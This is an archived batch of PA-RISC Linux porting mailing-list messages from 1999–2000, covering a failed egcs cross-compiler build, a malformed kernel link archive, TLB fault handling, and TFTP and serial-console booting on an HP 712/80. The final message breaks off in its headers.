Original-X-From: catfish@alltel.net  Wed Jun 14 12:44:26 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA31095
	for <parisc-linux@puffin.external.hp.com>; Wed, 14 Jun 2000 12:44:22 -0600
Original-Received: (qmail 24131 invoked by uid 15267); 14 Jun 2000 18:45:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24095 invoked from network); 14 Jun 2000 18:45:03 -0000
Original-Received: from unknown (HELO jesse.crash.lan) (root@162.39.130.65)
  by mailserv2.iuinc.com with SMTP; 14 Jun 2000 18:45:03 -0000
Original-Received: from localhost (catfish@localhost)
	by jesse.crash.lan (8.9.3/8.9.3) with ESMTP id NAA00747
	for <parisc-linux@thepuffingroup.com>; Wed, 14 Jun 2000 13:45:58 -0500
X-Authentication-Warning: jesse.crash.lan: catfish owned process doing -bs
X-Sender: catfish@jesse.crash.lan
In-Reply-To: <20000614105545.K29056@vodka.thepuffingroup.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7428


I just did the ./configure and make and it was building it from there. 
This is the egcs cross compiler from the puffin cvs. 
Thanks. 


catfish: icq #20116127


On Wed, 14 Jun 2000 willy@thepuffingroup.com wrote:

> On Wed, Jun 14, 2000 at 12:05:06AM -0500, T. Martin wrote:
> > egcs failed to build, 
> > RH 6.1
> > ar: libE77/Labort.o: No such file or directory
> > make[2]: *** [libg2c.a] Error 1
> > make[2]: Leaving directory `/opt/puffin/egcs/i586-pc-linux-gnu/libf2c'
> 
> um, this is fortran stuff.  why on earth is it trying to build fortran?!
> 
> -- 
> The Sex Pistols were revolutionaries.  The Bay City Rollers weren't.
> 


From - Thu Nov 08 21:12:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: alan@lxorguk.ukuu.org.uk (Alan Cox)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] Picky details of TLB fault handlers
Date: Mon, 22 Mar 1999 18:12:34 +0000 (GMT)
Lines: 12
Approved: news@gmane.org
Message-ID: <m10P9Bi-0007U1C@the-village.bc.nu>
References: <199903221705.LAA01108@helgaaspc.rsn.hp.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416618962 986 80.91.229.3 (22 Nov 2014 01:16:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:02 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: alan@lxorguk.ukuu.org.uk  Mon Mar 22 12:19:20 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id MAA04785
	for <hppa-linux@sod.res.cmu.edu>; Mon, 22 Mar 1999 12:19:19 -0500
Original-Received: (qmail 25413 invoked by uid 15267); 22 Mar 1999 17:18:15 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 25406 invoked from network); 22 Mar 1999 17:18:14 -0000
Original-Received: from snowcrash.cymru.net (163.164.160.3)
  by mailserv2.iuinc.com with SMTP; 22 Mar 1999 17:18:14 -0000
Original-Received: from the-village.bc.nu (lightning.swansea.uk.linux.org [194.168.151.1]) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id RAA06147 for <hppa-linux@thepuffingroup.com>; Mon, 22 Mar 1999 17:18:36 GMT
Original-Received: by the-village.bc.nu (Smail3.1.29.1 #2)
	id m10P9Bi-0007U1C; Mon, 22 Mar 99 18:12 GMT
In-Reply-To: <199903221705.LAA01108@helgaaspc.rsn.hp.com> from "Bjorn Helgaas" at Mar 22, 99 11:05:09 am
Xref: news.gmane.org gmane.linux.ports.parisc:7429

> HP-UX does exactly this sort of thing for handling many traps and
> interrupts.  It is fairly expensive, though, since you have to have
> a stack on which to save the IPSW/IIAQ and probably a bunch of other
> registers, and it's too much messing around for a TLB miss.

I'm right in assuming its legal to swap the return address - so the TLB
handler can do a short piece of TLB handling for a present page miss,
then stash the return into the kernel stack and rfi into the page fault handler
so it will in turn return to the user context ?

Alan


From - Thu Nov 08 21:12:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] oops, egcs didn't build all the way...
Date: Wed, 14 Jun 2000 14:48:38 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200006141848.OAA26497@hiauly1.hia.nrc.ca>
References: <Pine.LNX.4.10.10006141344360.727-100000@jesse.crash.lan>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618962 995 80.91.229.3 (22 Nov 2014 01:16:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:02 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: catfish@alltel.net (T. Martin)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Jun 14 12:47:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA31347
	for <parisc-linux@puffin.external.hp.com>; Wed, 14 Jun 2000 12:47:52 -0600
Original-Received: (qmail 27652 invoked by uid 15267); 14 Jun 2000 18:48:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27603 invoked from network); 14 Jun 2000 18:48:39 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 14 Jun 2000 18:48:39 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id OAA26497;
	Wed, 14 Jun 2000 14:48:38 -0400 (EDT)
In-Reply-To: <Pine.LNX.4.10.10006141344360.727-100000@jesse.crash.lan> from "T. Martin" at Jun 14, 2000 01:45:58 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:7430

> On Wed, 14 Jun 2000 willy@thepuffingroup.com wrote:
> 
> > On Wed, Jun 14, 2000 at 12:05:06AM -0500, T. Martin wrote:
> > > egcs failed to build, 
> > > RH 6.1
> > > ar: libE77/Labort.o: No such file or directory
> > > make[2]: *** [libg2c.a] Error 1
> > > make[2]: Leaving directory `/opt/puffin/egcs/i586-pc-linux-gnu/libf2c'
> > 
> > um, this is fortran stuff.  why on earth is it trying to build fortran?!

Do "make LANGUAGES=c" to only build C.

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:12:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "D'Angelo, James" <James.D'Angelo@icn.siemens.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Linux make dep scsi error
Date: Wed, 14 Jun 2000 17:07:58 -0400
Lines: 34
Approved: news@gmane.org
Message-ID: <2FF13E24F61AD41193130008C791A76031F0FA@boca215a.boca.ssc.siemens.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416618962 998 80.91.229.3 (22 Nov 2014 01:16:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:02 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: James.D'Angelo@icn.siemens.com  Wed Jun 14 15:09:16 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA32373
	for <parisc-linux@puffin.external.hp.com>; Wed, 14 Jun 2000 15:09:16 -0600
Original-Received: (qmail 13388 invoked by uid 15267); 14 Jun 2000 21:10:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13284 invoked from network); 14 Jun 2000 21:10:01 -0000
Original-Received: from lmmx1.fl.icn.siemens.com (192.132.51.129)
  by mailserv2.iuinc.com with SMTP; 14 Jun 2000 21:10:01 -0000
Original-Received: from boca210a.boca.ssc.siemens.com (boca210a.boca.ssc.siemens.com [135.1.69.210])
	by lmmx1.fl.icn.siemens.com (8.9.3/8.9.3) with ESMTP id RAA12204
	for <parisc-linux@thepuffingroup.com>; Wed, 14 Jun 2000 17:09:58 -0400 (EDT)
Original-Received: by boca210a.boca.ssc.siemens.com with Internet Mail Service (5.5.2650.21)
	id <LL3DN4B3>; Wed, 14 Jun 2000 17:09:58 -0400
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:7431

I've been fairly successful with building the compile environment, except
for this error message I seem not to be able to get past.  Any ideas?

gmake[1]: Leaving directory `/disk2/puffin/linux-2.3/arch/parisc/hpux'
hppa1.1-linux-ld  -T /disk2/puffin/linux-2.3/arch/parisc/vmlinux.lds
arch/parisc/real/head.o  init/main.o init/version.o \
--start-group \
		arch/parisc/kernel/pdc_cons.o arch/parisc/kernel/process.o
arch/parisc/real/real.o /disk2/puffin/linux-2.3/arch/parisc/lib/lib.a
arch/parisc/mm/mm.o arch/parisc/kernel/kernel.o arch/parisc/hpux/hpux.o
kernel/kernel.o mm/mm.o fs/fs.o ipc/ipc.o arch/parisc/kernel/init_task.o \
		drivers/block/block.a drivers/char/char.o drivers/net/net.o
drivers/scsi/scsi.a drivers/cdrom/cdrom.a drivers/video/video.o
drivers/gsc/gsc.a drivers/parport/parport.a \
	net/network.a \
	/disk2/puffin/linux-2.3/arch/parisc/lib/lib.a
/disk2/puffin/linux-2.3/lib/lib.a  \
	--end-group \
	-o vmlinux
	drivers/scsi/scsi.a: could not read symbols: Malformed archive
	gmake: *** [vmlinux] Error 1
jdangelo@spider> 

I am building with the gcc from puffin on a 712/80 (same as my target
platform).

Jay D'Angelo
jdangelo@techie.com <mailto:jdangelo@techie.com> 







From - Thu Nov 08 21:12:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux make dep scsi error
Date: Thu, 15 Jun 2000 10:46:29 +1000 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0006151039270.11751-100000@front.linuxcare.com.au>
References: <2FF13E24F61AD41193130008C791A76031F0FA@boca215a.boca.ssc.siemens.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618963 1007 80.91.229.3 (22 Nov 2014 01:16:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:03 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "D'Angelo, James" <James.D'Angelo@icn.siemens.com>
Original-X-From: alan@linuxcare.com.au  Wed Jun 14 18:45:56 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA01536
	for <parisc-linux@puffin.external.hp.com>; Wed, 14 Jun 2000 18:45:55 -0600
Original-Received: (qmail 4037 invoked by uid 15267); 15 Jun 2000 00:46:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4004 invoked from network); 15 Jun 2000 00:46:44 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 15 Jun 2000 00:46:44 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA13506;
	Thu, 15 Jun 2000 10:46:29 +1000
In-Reply-To: <2FF13E24F61AD41193130008C791A76031F0FA@boca215a.boca.ssc.siemens.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7432

On Wed, 14 Jun 2000, D'Angelo, James wrote:

> I've been fairly successful with building the compile environment, except
> for this error message I seem not to be able to get past.  Any ideas?
>[snip]
> 	drivers/scsi/scsi.a: could not read symbols: Malformed archive

I'm a bit confused by your subject line.  "make dep" shouldn't be doing
any linking!  Assuming the subject is wrong...

What does "ls -l drivers/scsi/scsi.a" tell you?  Is it a zero length file
by any chance?  "hppa1.1-linux-objdump --headers drivers/scsi/scsi.a"
might show something useful too.

Also, try a "make distclean", then re-make if you haven't already tried
this.

-- 
Linuxcare.  Support for the Revolution.



From - Thu Nov 08 21:12:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "D'Angelo, James" <James.D'Angelo@icn.siemens.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Booting vmlinux.
Date: Thu, 15 Jun 2000 19:42:06 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <2FF13E24F61AD41193130008C791A76031F104@boca215a.boca.ssc.siemens.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416618963 1009 80.91.229.3 (22 Nov 2014 01:16:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:03 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: James.D'Angelo@icn.siemens.com  Thu Jun 15 17:44:31 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA11056
	for <parisc-linux@puffin.external.hp.com>; Thu, 15 Jun 2000 17:44:30 -0600
Original-Received: (qmail 27438 invoked by uid 15267); 15 Jun 2000 23:45:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27428 invoked from network); 15 Jun 2000 23:45:18 -0000
Original-Received: from brmx1.fl.icn.siemens.com (208.158.176.132)
  by mailserv2.iuinc.com with SMTP; 15 Jun 2000 23:45:18 -0000
Original-Received: from boca210a.boca.ssc.siemens.com (boca210a.boca.ssc.siemens.com [135.1.69.210])
	by brmx1.fl.icn.siemens.com (8.9.3/8.9.3) with ESMTP id TAA29382
	for <parisc-linux@thepuffingroup.com>; Thu, 15 Jun 2000 19:44:56 -0400 (EDT)
Original-Received: by boca210a.boca.ssc.siemens.com with Internet Mail Service (5.5.2650.21)
	id <LL3DN93P>; Thu, 15 Jun 2000 19:45:17 -0400
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:7433

I've successfully done "make palo" and have followed the directions.  From a
712/80, I am doing a boot lan from the PDC.  My TFTP seems configured fine,
but the only thing I see in my syslog is:

Jun 15 19:28:49 boca08 bootpd[2595]: bootsize=2288612  hp->bootsize=2288612
Jun 15 19:29:15 boca08 tftpd[3765]: Transfer timed out

The 712/PDC just says: Selecting a system to boot.


Any ideas?

Jay D'Angelo
jdangelo@techie.com <mailto:jdangelo@techie.com> 


From - Thu Nov 08 21:12:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting vmlinux.
Date: Fri, 16 Jun 2000 19:45:27 +0200
Lines: 80
Approved: news@gmane.org
Message-ID: <00061619452700.11665@P100>
References: <2FF13E24F61AD41193130008C791A76031F107@boca215a.boca.ssc.siemens.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618963 1011 80.91.229.3 (22 Nov 2014 01:16:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:03 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: jdangelo@techie.com
Original-X-From: deller@gmx.de  Fri Jun 16 11:45:04 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA19550
	for <parisc-linux@puffin.external.hp.com>; Fri, 16 Jun 2000 11:45:04 -0600
Original-Received: (qmail 15009 invoked by uid 15267); 16 Jun 2000 17:45:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14972 invoked from network); 16 Jun 2000 17:45:57 -0000
Original-Received: from pop.gmx.net (HELO mail.gmx.net) (194.221.183.20)
  by mailserv2.iuinc.com with SMTP; 16 Jun 2000 17:45:57 -0000
Original-Received: (qmail 14083 invoked by uid 0); 16 Jun 2000 17:45:28 -0000
Original-Received: from pec-29-221.tnt3.me2.uunet.de (HELO P100) (149.225.29.221)
  by mail05.rzmi.gmx.net with SMTP; 16 Jun 2000 17:45:28 -0000
X-Mailer: KMail [version 1.1.50]
In-Reply-To: <2FF13E24F61AD41193130008C791A76031F107@boca215a.boca.ssc.siemens.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7434

Hi James,
[cc'ed to parisc-linux]

- Please use the serial-console for now, because the keyboard-support is 
currently very limited with STI-console (=Graphics-console).

All following suggestions are meant for serial console:
------------------------------------------
- do you use ramdisk-20000530-sercon.tgz (gunziped in /linux-2.3) ?
- the best solution is to delete your /linux-2.3/.config-file and do a fresh 
"make menuconfig".
- do you have "block_devices/inital ramdisk support" enabled ?
- you need to have "character_devices/serial_support/console on serial port" 
enabled and "console_drivers/STI_Console" disabled.
- major/minor of /dev/console in your ramdisk or nfs-exported tree needs to 
be 5/1  (4/1 for STI-Console!)  [That's the only difference between 
ramdisk20000530-[sercon|sticon].tgz]
- take a look at the comments in palo/Makefile prior building the kernel with 
"make palo".
- which machine are you using ?

That's all for now :-)

Helge.

Am Fri, 16 Jun 2000 schrieben Sie:
> Yes, I figured that out.  Except some of the recipes and config
> documentation says to put vmlinux in the bootptab for tftp (which does
> appear to be wrong).  I'm getting the kernel to boot with networking, but
> am still having an issue getting a login either on a serial console or
> preferably the graphics console.
>
> Any ideas?
>
> Jay
>
>
>  -----Original Message-----
> From: 	Helge Deller [mailto:deller@gmx.de]
> Sent:	Thursday, June 15, 2000 9:41 PM
> To:	jdangelo@techie.com
> Subject:	Fwd: Re: [parisc-linux] Booting vmlinux.
>
>
>
> ----------  Weitergeleitete Nachricht  ----------
> Subject: Re: [parisc-linux] Booting vmlinux.
> Date: Fri, 16 Jun 2000 03:38:39 +0200
> From: Helge Deller <deller@gmx.de>
> To: "D'Angelo, James" <James.D'Angelo@icn.siemens.com>
>
>
> Hi James,
>
> Am Fri, 16 Jun 2000 schrieb D'Angelo, James:
> > I've successfully done "make palo" and have followed the directions. 
> > From a 712/80, I am doing a boot lan from the PDC.  My TFTP seems
> > configured fine, but the only thing I see in my syslog is:
> >
> > Jun 15 19:28:49 boca08 bootpd[2595]: bootsize=2288612
>
> hp->bootsize=2288612
>
> > Jun 15 19:29:15 boca08 tftpd[3765]: Transfer timed out
> >
> > The 712/PDC just says: Selecting a system to boot.
> > Any ideas?
>
> Maybe a stupid question, but you are trying to boot palo/lifimage and not
> the
> vmlinux-file (which is wrong!) ?
>
> Greetings,
> Helge.
>
> > Jay D'Angelo
> > jdangelo@techie.com <mailto:jdangelo@techie.com>
>
> -------------------------------------------------------


From - Thu Nov 08 21:12:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "D'Angelo, James" <James.D'Angelo@icn.siemens.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Booting vmlinux.
Date: Fri, 16 Jun 2000 14:09:24 -0400
Lines: 102
Approved: news@gmane.org
Message-ID: <2FF13E24F61AD41193130008C791A76031F109@boca215a.boca.ssc.siemens.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416618964 1014 80.91.229.3 (22 Nov 2014 01:16:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:04 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "'Helge Deller'" <deller@gmx.de>, jdangelo@techie.com
Original-X-From: James.D'Angelo@icn.siemens.com  Fri Jun 16 12:10:45 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA20165
	for <parisc-linux@puffin.external.hp.com>; Fri, 16 Jun 2000 12:10:44 -0600
Original-Received: (qmail 9945 invoked by uid 15267); 16 Jun 2000 18:11:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9872 invoked from network); 16 Jun 2000 18:11:32 -0000
Original-Received: from brmx1.fl.icn.siemens.com (208.158.176.132)
  by mailserv2.iuinc.com with SMTP; 16 Jun 2000 18:11:32 -0000
Original-Received: from boca210a.boca.ssc.siemens.com (boca210a.boca.ssc.siemens.com [135.1.69.210])
	by brmx1.fl.icn.siemens.com (8.9.3/8.9.3) with ESMTP id OAA01324;
	Fri, 16 Jun 2000 14:10:31 -0400 (EDT)
Original-Received: by boca210a.boca.ssc.siemens.com with Internet Mail Service (5.5.2650.21)
	id <LL3D3D3S>; Fri, 16 Jun 2000 14:10:51 -0400
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:7435

I'm using a 712/80.  I'll switch to the sercon.  What would the default
speed/parity be?  I did have some more success with sti, but I don't appear
to have a complete shell (ie -ls -mv) and I don't seem to have anyway to
mount or transfer files over.  I would think I would use palo again to make
the disk bootable so I don't have to use bootp.

Thanks a lot for your help.  I am new at this and appreciate all the
help/hints I get.

jdangelo@techie.com


 -----Original Message-----
From: 	Helge Deller [mailto:deller@gmx.de] 
Sent:	Friday, June 16, 2000 1:45 PM
To:	jdangelo@techie.com
Cc:	parisc-linux@thepuffingroup.com
Subject:	Re: [parisc-linux] Booting vmlinux.

Hi James,
[cc'ed to parisc-linux]

- Please use the serial-console for now, because the keyboard-support is 
currently very limited with STI-console (=Graphics-console).

All following suggestions are meant for serial console:
------------------------------------------
- do you use ramdisk-20000530-sercon.tgz (gunziped in /linux-2.3) ?
- the best solution is to delete your /linux-2.3/.config-file and do a fresh

"make menuconfig".
- do you have "block_devices/inital ramdisk support" enabled ?
- you need to have "character_devices/serial_support/console on serial port"

enabled and "console_drivers/STI_Console" disabled.
- major/minor of /dev/console in your ramdisk or nfs-exported tree needs to 
be 5/1  (4/1 for STI-Console!)  [That's the only difference between 
ramdisk20000530-[sercon|sticon].tgz]
- take a look at the comments in palo/Makefile prior building the kernel
with 
"make palo".
- which machine are you using ?

That's all for now :-)

Helge.

Am Fri, 16 Jun 2000 schrieben Sie:
> Yes, I figured that out.  Except some of the recipes and config
> documentation says to put vmlinux in the bootptab for tftp (which does
> appear to be wrong).  I'm getting the kernel to boot with networking, but
> am still having an issue getting a login either on a serial console or
> preferably the graphics console.
>
> Any ideas?
>
> Jay
>
>
>  -----Original Message-----
> From: 	Helge Deller [mailto:deller@gmx.de]
> Sent:	Thursday, June 15, 2000 9:41 PM
> To:	jdangelo@techie.com
> Subject:	Fwd: Re: [parisc-linux] Booting vmlinux.
>
>
>
> ----------  Weitergeleitete Nachricht  ----------
> Subject: Re: [parisc-linux] Booting vmlinux.
> Date: Fri, 16 Jun 2000 03:38:39 +0200
> From: Helge Deller <deller@gmx.de>
> To: "D'Angelo, James" <James.D'Angelo@icn.siemens.com>
>
>
> Hi James,
>
> Am Fri, 16 Jun 2000 schrieb D'Angelo, James:
> > I've successfully done "make palo" and have followed the directions. 
> > From a 712/80, I am doing a boot lan from the PDC.  My TFTP seems
> > configured fine, but the only thing I see in my syslog is:
> >
> > Jun 15 19:28:49 boca08 bootpd[2595]: bootsize=2288612
>
> hp->bootsize=2288612
>
> > Jun 15 19:29:15 boca08 tftpd[3765]: Transfer timed out
> >
> > The 712/PDC just says: Selecting a system to boot.
> > Any ideas?
>
> Maybe a stupid question, but you are trying to boot palo/lifimage and not
> the
> vmlinux-file (which is wrong!) ?
>
> Greetings,
> Helge.
>
> > Jay D'Angelo
> > jdangelo@techie.com <mailto:jdangelo@techie.com>
>
> -------------------------------------------------------


From - Thu Nov 08 21:12:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting vmlinux.
Date: Fri, 16 Jun 2000 12:49:10 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <20000616184910.D830637DFF@carmen.fc.hp.com>
References: <2FF13E24F61AD41193130008C791A76031F109@boca215a.boca.ssc.siemens.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618964 1020 80.91.229.3 (22 Nov 2014 01:16:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:04 +0000 (UTC)
Cc: jdangelo@techie.com, parisc-linux@thepuffingroup.com
To: "D'Angelo, James" <James.D'Angelo@icn.siemens.com>
Original-X-From: taggart@carmen.fc.hp.com  Fri Jun 16 12:46:43 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA20619
	for <parisc-linux@puffin.external.hp.com>; Fri, 16 Jun 2000 12:46:43 -0600
Original-Received: (qmail 16476 invoked by uid 15267); 16 Jun 2000 18:47:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16462 invoked from network); 16 Jun 2000 18:47:35 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 16 Jun 2000 18:47:35 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by cosrel1.hp.com (Postfix) with ESMTP
	id 96B74628; Fri, 16 Jun 2000 12:47:34 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id D830637DFF; Fri, 16 Jun 2000 12:49:10 -0600 (MDT)
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
In-Reply-To: Message from "D'Angelo, James" <James.D'Angelo@icn.siemens.com> 
   of "Fri, 16 Jun 2000 14:09:24 EDT." <2FF13E24F61AD41193130008C791A76031F109@boca215a.boca.ssc.siemens.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7436


"D'Angelo, James" writes...

> I'm using a 712/80.  I'll switch to the sercon.  What would the default
> speed/parity be?

Setting a 712 to use serial console is kind of tricky. See,

http://puffin.external.hp.com/mailing-lists/parisc-linux/1999/12-Dec/0091.html

for instructions(and be *careful*). In order to do it you need ISL. Do you 
have a disk with HP-UX on it that you could boot from? An HP-UX install CD 
should work too.

Contact me if you have any problems.

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:12:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "D'Angelo, James" <James.D'Angelo@icn.siemens.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Booting vmlinux.
Date: Fri, 16 Jun 2000 14:58:11 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <2FF13E24F61AD41193130008C791A76031F10B@boca215a.boca.ssc.siemens.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416618964 1023 80.91.229.3 (22 Nov 2014 01:16:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:04 +0000 (UTC)
Cc: jdangelo@techie.com, parisc-linux@thepuffingroup.com
To: "'Matt Taggart'" <taggart@carmen.fc.hp.com>,
        "D'Angelo, James" <James.D'Angelo@icn.siemens.com>
Original-X-From: James.D'Angelo@icn.siemens.com  Fri Jun 16 13:03:45 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA20828
	for <parisc-linux@puffin.external.hp.com>; Fri, 16 Jun 2000 13:03:45 -0600
Original-Received: (qmail 1626 invoked by uid 15267); 16 Jun 2000 19:04:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
